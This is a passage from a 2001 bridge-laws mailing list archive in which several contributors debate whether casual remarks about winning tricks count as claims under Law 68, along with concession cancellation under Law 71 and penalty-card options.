X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk We must forgive Tom. Californians are very concerned about PC these days. It stands for Power Cutoff. With such electric problems, one can understand the eclectic manner in which some denizens of the left coast view the ROW. Craig ----- Original Message ----- From: "Tom Wood" > David (Burn), > > Thank you for your clear-minded recap of this "Claim?" thread. > I regret to inform you, however, that your reasoned, analytic > approach to such issues is at great variance with contemporary > local (Southern California) attitudes toward such discussions. > Specifically: > 1. Clarity of thought and expression is viewed hereabout with great > suspicion and is instantly and roundly condemned as "unPC." -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 20 05:02:14 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0JI24003557 for bridge-laws-outgoing; Sat, 20 Jan 2001 05:02:04 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-32.mail.demon.net (anchor-post-32.mail.demon.net [194.217.242.90]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0JI1tt03553 for ; Sat, 20 Jan 2001 05:01:56 +1100 (EST) Received: from probst.demon.co.uk ([158.152.214.47]) by anchor-post-32.mail.demon.net with smtp (Exim 2.12 #1) id 14JfrC-00009u-0W for bridge-laws@rgb.anu.edu.au; Fri, 19 Jan 2001 18:01:51 +0000 Message-ID: Date: Fri, 19 Jan 2001 18:00:55 +0000 To: bridge-laws@rgb.anu.edu.au From: "John (MadDog) Probst" Reply-To: "John Probst" Subject: Re: [BLML] Claim? References: <200101191537.KAA21799@freenet10.carleton.ca> In-Reply-To: <200101191537.KAA21799@freenet10.carleton.ca> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In article <200101191537.KAA21799@freenet10.carleton.ca>, A. L. Edwards writes > >>Equally unfortunately, bridge is defined by its laws. If a statement is >>a claim in the Bermuda Bowl, then it is a claim in Hogwash, Arizona >>also. The good people of Hogwash may decide among themselves never to >>enforce the laws relating to claims when a player makes such a >>statement, but this does not alter the fact that "we are going to make >>twelve tricks" is a claim. I find this entire debate quite >>mind-boggling. With which of these words are people having difficulty? >> >>"Any statement to the effect that a contestant will win a specific >>number of tricks is a claim of those tricks." >> I buy the difference between "statement" being contractual and haphazard "remarks" being not so. How do we handle "should have bid 6, partner". Is this a claim? I don't think so. Is the set of all remarks included in the set of all statements? I don't think so. >>The question of whether one should enforce the law when a player >>inadvertently makes a claim is an entirely separate question from that >>of whether "we are going to make twelve tricks" actually is a claim. Not >>for the first time, people are allowing themselves to be swayed by >>considerations of how the game "should be played" when answering what >>really is a trivial question about the words in the laws. The only >>reason it has appeared here at all is that DWS gave the wrong answer to >>it when it was posted on r.g.b recently, and cannot bring himself to >>admit this. >> >>David Burn >>London, England >> >And I don't think DWS made a mistake. I find it difficult to believe that >the writers of the Laws did not mean to deliberately differentiate >between the two words "statement" and "remark". >(from Funk & Wagnalls--sorry, lent my sister my Oxford) > >remark: 1)an oral or written comment or saying; a casual observation > 2) the act of observing or noticing;observation; notice >statement: 1) the act of stating > 2) that which is stated >to state: 1) to set forth explicitely in speech or writing; assert; > declare > 2) to fix; determine; settle >(please note "casual" vs "explicite") >Telling your partner that you've missed a slam is a remark, not >a statement, as per the proprieties; telling your opponents/director >that you have 12 tricks is a statement. Another way to look at it is, >a remark does not create a contract between two or more parties, >while a statement does create such a contract. > Tony (aka ac342) >-- >======================================================================== >(Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with >"(un)subscribe bridge-laws" or just "help" in the BODY of the message. >A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ -- John (MadDog) Probst| . ! -^- |phone & fax :20 8980 4947 451 Mile End Road | /|__. \:/ |icq 10810798 OKb ChienFou London E3 4PA | / @ __) -|- |john@probst.demon.co.uk +44-(0)20 8983 5818 | /\ --^ | |www.probst.demon.co.uk -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 20 06:38:52 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0JJcAk16061 for bridge-laws-outgoing; Sat, 20 Jan 2001 06:38:10 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp1.san.rr.com (mta@smtp1.san.rr.com [24.25.195.37]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0JJc3t16057 for ; Sat, 20 Jan 2001 06:38:04 +1100 (EST) Received: from marvin ([24.30.153.86]) by smtp1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Fri, 19 Jan 2001 11:38:45 -0800 Message-ID: <001801c0824f$460f29c0$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: "Bridge Laws Discussion List" References: <01f701c08114$6f545260$56991e18@san.rr.com> <01011519525801.00176@psa836> <00cf01c08040$828fd360$56991e18@san.rr.com> <01f701c08114$6f545260$56991e18@san.rr.com> <4.3.2.7.1.20010119084150.00b1dc10@127.0.0.1> Subject: Re: TR: [BLML] Law 71: Concession cancelled Date: Fri, 19 Jan 2001 11:31:30 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Eric Landau wrote: > At 10:45 AM 1/18/01, David Stevenson wrote: > > > It is not a contradiction. You are assuming the fallacy of [can't > >remember what it is called, someone remind me, that says you cannot > >assume the opposite of a logical statement applies]. > > Either "the fallacy of the converse" ("if P then Q" does not imply "if > Q then P"); or "the fallacy of the inverse" ("if P then Q" does not > imply "if not P then not Q"). > > "The law of contrapositives" ("if P then Q" implies "if not Q then not > P") tells us that these two "fallacies" are really the same thing. > When a law says you can do something *until* a certain time, it means you can't do it after that time, despite what a logician might say. Two laws: Pubs can stay open until midnight. Pubs can stay open until 1 am. One of them is known to be a mistake, invalid, not what the lawmakers currently intend, but you can't tell which. If the second law is known to supersede the first, then of course there is no contradiction, just an obsolete fossil law on the books. In the absence of evidence to that effect, a policeman would find the two laws quite contradictory, and might *logically* follow the first one in order to avoid trouble (ignoring the alcoholic logician who argues the matter). It is not at all clear that the first part of L71C wasn't an error, a mistaken recasting of L71. After all, if the same time period applies to the cancellation of every type of concession, there would be no need for separate paragraphs. And surely, if the sentence is inapplicable, no one would be so careless as to leave it in. Without the LC's help a TD wouldn't know which rule to follow, as they seem not to be in agreement. Okay David, have the last word, I have sown the last stitch with this thread. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 20 07:24:24 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0JKNw816089 for bridge-laws-outgoing; Sat, 20 Jan 2001 07:23:58 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from gadolinium.btinternet.com (gadolinium.btinternet.com [194.73.73.111]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0JKNpt16085 for ; Sat, 20 Jan 2001 07:23:52 +1100 (EST) Received: from [62.7.102.72] (helo=pbncomputer) by gadolinium.btinternet.com with smtp (Exim 3.03 #83) id 14Ji4W-0004nh-00 for bridge-laws@rgb.anu.edu.au; Fri, 19 Jan 2001 20:23:45 +0000 Message-ID: <000b01c08255$bbf069a0$4866073e@pbncomputer> From: "David Burn" To: References: <200101191705.JAA07397@mailhub.irvine.com> Subject: Re: [BLML] Claim? Date: Fri, 19 Jan 2001 20:22:55 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Adam wrote: > Wow! I don't know how many times I've claimed all but one of the > remaining tricks by telling the opponents, "You're going to get one > more trick." So according to a literal reading of the Law, this is a > claim of one trick! No, it isn't. The Law says: Any statement to the effect that a contestant will win a specific number of tricks is a claim of those tricks. Now, when X tricks remain, a statement that the opponents will win only one of them is a statement to the effect that your side will win X-1 of them. Thus, it is a claim of X-1 tricks. That is why the words "to the effect" are present - if the Law said: Any statement that a contestant will win a specific number of tricks is a claim of those tricks. then there would indeed be the problem that a statement about the number of tricks an opponent would win constituted (in some way) a "claim" of those tricks for one's own side. As the words stand, however, there is no difficulty. Perhaps, for clarity, L68A might be reworded: Any statement by a contestant that his side will win a specific number of tricks is a claim of those tricks. Any statement by a contestant that his opponents will win a certain number of tricks is a concession of those tricks. David Burn London, England -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 20 08:30:03 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0JLTBQ18227 for bridge-laws-outgoing; Sat, 20 Jan 2001 08:29:11 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp1.san.rr.com (mta@smtp1.san.rr.com [24.25.195.37]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0JLT5t18223 for ; Sat, 20 Jan 2001 08:29:06 +1100 (EST) Received: from marvin ([24.30.153.86]) by smtp1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Fri, 19 Jan 2001 13:29:53 -0800 Message-ID: <004d01c0825e$ccee9b60$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <200101181545.KAA23986@freenet10.carleton.ca> <3.0.6.32.20010118120327.007c4280@ux1.cts.eiu.edu> <00a201c0817b$f915f460$1614f7a5@oemcomputer> Subject: Re: [BLML] Claim? Date: Fri, 19 Jan 2001 13:22:31 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk From: "David Stevenson" > > We all know what a claim is. A player puts his hand down and says > "They are all mine" or "Give you a top trump" or something. But we are > being asked to call something a claim when a player demonstrably did not > intend to claim. How can that be right? > Many years ago we had an older rubber bridge player who, in a game contract, would often look at the dummy and say wistfully, "Well, we're going to make a certain number." We all knew to ignore that statement, and often the contract would be defeated with careful defense. That was okay in a rubber bridge game with friendly opponents, but not in a duplicate game. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 20 08:49:52 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0JLnQ919125 for bridge-laws-outgoing; Sat, 20 Jan 2001 08:49:26 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp1.san.rr.com (mta@smtp1.san.rr.com [24.25.195.37]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0JLnKt19086 for ; Sat, 20 Jan 2001 08:49:21 +1100 (EST) Received: from marvin ([24.30.153.86]) by smtp1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Fri, 19 Jan 2001 13:50:08 -0800 Message-ID: <006501c08261$a11943c0$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: "Bridge Laws" References: <3A670674.673519AE@village.uunet.be> Subject: Re: [BLML] penalties AND UI - too much ? Date: Fri, 19 Jan 2001 13:44:18 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk From: "Herman De Wael" > Partner leads out of turn, the ace of diamonds. > > Declarer allows you to play what you want. > > >From AKJx of hearts, you lead the ace, to see the table. > The queen of hearts is not there. > > Again declarer allows you to play what you want. > > If you now play diamonds, your partner is in to bring you > the hearts. > > But, says declarer later, the Ace is UI, and you could also > have switched clubs as a LA, so please give me my contract > back. > Declarer had the option of L50D2(a) or (b). (a) would have prevented the opponent from leading a diamond as long as he held the lead, and the diamond ace would no longer have been a penalty card, pick it up. (b) lets the defender lead any card, and the diamond ace remains a penalty card. After the first trick is complete, this time with the defender still on lead, we start over. There still exists a major penalty card, and declarer can again choose between (a) and (b). Again he chose (b), "lead any card." I don't see the problem, I guess. "Lead any card" means lead *any* card. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 20 08:51:12 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0JLp6f19694 for bridge-laws-outgoing; Sat, 20 Jan 2001 08:51:06 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from swarm.mosquitonet.com (swarm.mosquitonet.com [206.129.11.16]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0JLovt19652 for ; Sat, 20 Jan 2001 08:50:58 +1100 (EST) Received: from bigbyte.mosquitonet.com (bigbyte.mosquitonet.com [206.129.11.2]) by swarm.mosquitonet.com (8.9.1/8.9.3) with SMTP id NAA05427 for ; Fri, 19 Jan 2001 13:05:22 -0900 Date: Fri, 19 Jan 2001 12:51:21 -0900 (AKST) From: Gordon Bower To: Bridge Laws Mailing List Subject: Re: [BLML] Claim? In-Reply-To: <3.0.6.32.20010119180145.00833100@pop.ulb.ac.be> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk On Fri, 19 Jan 2001, alain gottcheiner wrote: > This thread didn't attract my attention very much, until ... > > >>"Any statement to the effect that a contestant will win a specific > >>number of tricks is a claim of those tricks." > > AG : is this really the phrasing ? In this case, it is wrong. The opponents > are contestants, aren't they ? In this case, according to the words above, > a concession of all remaining tricks is a claim, which we know it isn't. Would someone kindly remind how how we know that? I have always thought it perfectly obvious that all claims are concessions of some number -- possibly zero -- of tricks, and all concessions are claims of some number -- possibly zero -- of tricks. 68B does say "a claim of some number of tricks is a concession of the remainder, if any". If you want to call this a roundabout way of saying "if all the tricks are claimed there is no concession," fine, that will make no difference at all to any rulings; if someone claims all the tricks he is never going to come back and ask for even more tricks later. There could have been a corresponding statement qualified by "if any" to make it so that a concession of all the tricks wasn't a claim anymore, but they didn't do that. I can only think of one situation this might matter. Suppose you concede all the remaining tricks, and I can see I'll be endplayed if you lead one suit but not if you lead another. Is there any reason why I shouldn't be allowed to make my opponent state his line, i.e., name which card he proposed to exit with, and then decide whether to acquiesce to his concession or give him one trick back at the end? I think it's clear enough that I am under no moral or legal *obligation* to ask which card he'll exit with and offer him a trick he doesn't think he is going to get. Is there a reason why I should be *forbidden* to do this? Furthermore I think it would be a very nice simplification to the law book to redo L68-71 to reword it such that concessions and claims are always complements of each other, and avoid the need to use two terms that occasionally give rise to confusion. GRB -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 20 09:59:06 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0JMwWq13449 for bridge-laws-outgoing; Sat, 20 Jan 2001 09:58:32 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailhub.irvine.com (larry-rp.irvine.com [63.206.153.98]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0JMwPt13416 for ; Sat, 20 Jan 2001 09:58:26 +1100 (EST) Received: from calvin.irvine.com (IDENT:adam@calvin.irvine.com [192.160.8.21]) by mailhub.irvine.com (8.9.3/8.9.3) with ESMTP id OAA14865; Fri, 19 Jan 2001 14:58:15 -0800 Message-Id: <200101192258.OAA14865@mailhub.irvine.com> To: bridge-laws@rgb.anu.edu.au CC: adam@irvine.com Subject: Re: [BLML] Claim? In-Reply-To: Your message of "Fri, 19 Jan 2001 12:51:21 -0900." Date: Fri, 19 Jan 2001 14:58:14 -0800 From: Adam Beneschan Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Gordon Bower wrote: > On Fri, 19 Jan 2001, alain gottcheiner wrote: > > > This thread didn't attract my attention very much, until ... > > > > >>"Any statement to the effect that a contestant will win a specific > > >>number of tricks is a claim of those tricks." > > > > AG : is this really the phrasing ? In this case, it is wrong. The opponents > > are contestants, aren't they ? In this case, according to the words above, > > a concession of all remaining tricks is a claim, which we know it isn't. > > Would someone kindly remind how how we know that? > > I have always thought it perfectly obvious that all claims are concessions > of some number -- possibly zero -- of tricks, and all concessions are > claims of some number -- possibly zero -- of tricks. I could get into a discussion of whether phrases like "some number" or "a specific number" include zero as a possibility. Zero is certainly a "number" to a mathematician, as are 1/2, -5, 2.718281828459045, and the complex number (cos (pi/4))*(1+i); however, I believe the English word "number" often appears in contexts and idioms in which its meaning is "positive integer". In fact, my on-line dictionary gives "natural number" (defined as a positive integer) as one of the meanings for the word "number", along with a number (not zero!) of other definitions. However, such discussion is not necessary here, because L68 clearly states: For a statement or action to constitute a claim or concession of tricks under these Laws, it must refer to tricks other than one currently in progress. Since a "claim of zero tricks" or a "concession of zero tricks" does not refer to any tricks, it cannot satisfy this paragraph, and is therefore a meaningless phrase. -- Adam -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 20 10:38:07 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0JNbrB27280 for bridge-laws-outgoing; Sat, 20 Jan 2001 10:37:53 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from finch-post-11.mail.demon.net (finch-post-11.mail.demon.net [194.217.242.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0JNbgt27221 for ; Sat, 20 Jan 2001 10:37:47 +1100 (EST) Received: from hadfields.demon.co.uk ([194.222.188.60]) by finch-post-11.mail.demon.net with smtp (Exim 2.12 #1) id 14Jl6A-000Ld6-0B for bridge-laws@rgb.anu.edu.au; Fri, 19 Jan 2001 23:37:38 +0000 From: pam To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] Claim? Date: Fri, 19 Jan 2001 23:38:34 +0000 Message-ID: References: <200101181545.KAA23986@freenet10.carleton.ca> <3.0.6.32.20010118120327.007c4280@ux1.cts.eiu.edu> <00a201c0817b$f915f460$1614f7a5@oemcomputer> In-Reply-To: X-Mailer: Forte Agent 1.8/32.548 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by rgb.anu.edu.au id f0JNbnt27257 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk On Fri, 19 Jan 2001 00:51:15 +0000, DWS wrote: > > That is what really worries me: any interpretation whose main effect >is to give ammunition to BLs and leave other people unaffected seems >horrendous to me. It's only horrendous because there aren't enough BLs around. If every second player was a BL we'd all have to abide by the same set of rules. This might piss off the expert for a bit but after a while (s)he would learn to play by the same rules as the rest of us. > > We all know what a claim is. A player puts his hand down and says >"They are all mine" or "Give you a top trump" or something. But we are >being asked to call something a claim when a player demonstrably did not >intend to claim. How can that be right? Of course it can be right! We follow the laws without any namby-pamby "he never meant to do it honest guv" garbage. We play by the rules and the rules are supposed to mean the same for EVERYONE! (well I guess in actuality they are not but perhaps one day they might). Now why should "(oh dear partner we should be in slam) we have 12 tricks" be treated any differently from "we have 12 tricks". > > Of course there are lots of rules players do not know and we have to >enforce. If a player bids out of turn we drag out the law-book, and who >would wish otherwise? But when we know a player did not intend to claim >then to say it is a claim seems unjust. But if a person bids out of turn and really didn't INTEND to, why do we drag out the law book? Isn't that also unjust? Clearly the answer is no.... or is it? Er... why? "But I thought I was dealer - I didn't mean to bid out of turn" "Yes, I believe you. No penalty". > > What happens if we are not sure? Perhaps he did? I have no problem >with a hard line on doubtful claims. But ones that the players know are >not intended as claims should not be treated as claims. How am *I* supposed to know what is a claim and what is not if the laws don't tell me? The thing is, they do. We cannot simply ignore the ones we think are unjust in some circumstances even if we are David Stevenson. > > Bridge should be an enjoyable game: encouraging BLs will not help that >end. I disagree. I can enjoy a game where every one plays by the same rules. I get severely pissed off when different folks play by different rules and it's even worse when those rules are subjective. We should ENCOURAGE the bridge lawyers - if there were enough of them they'd make the game fairer for all. Some of the most unfair and unjust bits of the laws are to do with claiming - (He would have spotted that obvious safety play in his sleep, he doesn't have have to spell it out... - ... she may well have missed that obvious safety play, she didn't spell it out so may not have seen it...) for heavens sake lets at least follow the bits that are clear! -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 20 10:56:25 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0JNuCs27321 for bridge-laws-outgoing; Sat, 20 Jan 2001 10:56:12 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from swarm.mosquitonet.com (swarm.mosquitonet.com [206.129.11.16]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0JNu5t27317 for ; Sat, 20 Jan 2001 10:56:05 +1100 (EST) Received: from bigbyte.mosquitonet.com (bigbyte.mosquitonet.com [206.129.11.2]) by swarm.mosquitonet.com (8.9.1/8.9.3) with SMTP id PAA11860 for ; Fri, 19 Jan 2001 15:10:30 -0900 Date: Fri, 19 Jan 2001 14:56:30 -0900 (AKST) From: Gordon Bower To: Bridge Laws Mailing List Subject: Re: [BLML] Claim? In-Reply-To: <200101192258.OAA14865@mailhub.irvine.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > > > >>"Any statement to the effect that a contestant will win a specific > > > >>number of tricks is a claim of those tricks." > > > > > > AG : is this really the phrasing ? In this case, it is wrong. The opponents And I asked: > > Would someone kindly remind how how we know that? > > > > I have always thought it perfectly obvious that all claims are concessions > > of some number -- possibly zero -- of tricks, and all concessions are > > claims of some number -- possibly zero -- of tricks. > And Adam Beneschan speculated whether zero was a number, and then said: > However, such discussion is not necessary here, because L68 clearly > states: > > For a statement or action to constitute a claim or concession of > tricks under these Laws, it must refer to tricks other than one > currently in progress. > > Since a "claim of zero tricks" or a "concession of zero tricks" does > not refer to any tricks, it cannot satisfy this paragraph, and is > therefore a meaningless phrase. I can sort of see that. If you really *want* to make claims and concessions into two different animals I suppose you can do that. But I have had the impression that the purpose of saying "a contestant" instead of "the claimer's side", and of "some number" instead of "one or more" or various other possibilities, was to make it clear that exactly the same thing happens whether I say "I will take no more tricks" or "You get the rest." Maybe the solution is to do away with the current notions of 'claim' and 'concession' and, in place of 68A/B, put something like this: A Mailc occurs when declarer or either defender states what he believes the disposition of all remaining tricks on the deal will be. Play ceases after a mailc. The mailcer shall immediately describe the course he believes the play would have taken. If all 4 players are in agreement with his assessment, the deal is scored as if the play had proceeded as described by mailcer. If any player objects to the mailcer's assessment, the director shall be summoned to hear the mailc statement and the objections to it. The director then adjudicated the result of the board as equitably as possible, resolving any doubt points agains the mailcer's side. [Details as in L70] After his side has made a call on a subsequent board, if any player who was party to a mailc feels his side was awarded too many tricks when the mailc was adjudicated, he shall inform the director, who will correct the score. If he feels his side was awarded too few tricks, however, the director will make the correction only if the trick(s) in question could not have been lost by any normal play of the remaining cards. --- The wording is imperfect. The core of the proposal is to not have two separate rules for claims and concessions, and to make it easy to give away tricks but hard to ask to get tricks back (for both sides!) once the next board has started. GRB -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 20 14:24:41 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0K3Nbc14343 for bridge-laws-outgoing; Sat, 20 Jan 2001 14:23:37 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp1.san.rr.com (mta@smtp1.san.rr.com [24.25.195.37]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0K3NVt14339 for ; Sat, 20 Jan 2001 14:23:32 +1100 (EST) Received: from marvin ([24.30.153.86]) by smtp1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Fri, 19 Jan 2001 19:24:19 -0800 Message-ID: <009101c08290$50d03de0$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <200101181545.KAA23986@freenet10.carleton.ca> <3.0.6.32.20010118120327.007c4280@ux1.cts.eiu.edu> <00a201c0817b$f915f460$1614f7a5@oemcomputer> Subject: Re: [BLML] Claim? Date: Fri, 19 Jan 2001 19:02:31 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Pam wrote: > > Some of the most unfair and unjust bits of the laws are to do with > claiming - (He would have spotted that obvious safety play in his > sleep, he doesn't have have to spell it out... - ... she may well have > missed that obvious safety play, she didn't spell it out so may not > have seen it...) for heavens sake lets at least follow the bits that > are clear! Indeed. And let those who don't like a Law get it changed instead of bellyaching about it and saying it need not be followed. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 20 15:04:01 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0K43iG14368 for bridge-laws-outgoing; Sat, 20 Jan 2001 15:03:44 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp1.san.rr.com (mta@smtp1.san.rr.com [24.25.195.37]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0K43ct14364 for ; Sat, 20 Jan 2001 15:03:39 +1100 (EST) Received: from marvin ([24.30.153.86]) by smtp1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Fri, 19 Jan 2001 20:04:27 -0800 Message-ID: <00a301c08295$ec165b40$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: "blml" References: <200101182216.OAA27032@mailhub.irvine.com> <01af01c081ca$1d6f8a80$56991e18@san.rr.com> Subject: Re: [BLML] Claim? Date: Fri, 19 Jan 2001 20:00:53 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Roger Pewick wrote: > I do see an interesting aspect of such cases. One would not expect a player > who did not have in his mind to claim just yet to give a claim statement on > his own initiiative. At what point should he not be permitted to supply > one? L68C and L70D combine to suggest that by the time the director arrives > it is too late to supply one but it feels right to allow it. I think it is allowed. L68C says a claim *should* be accompanied at once by a 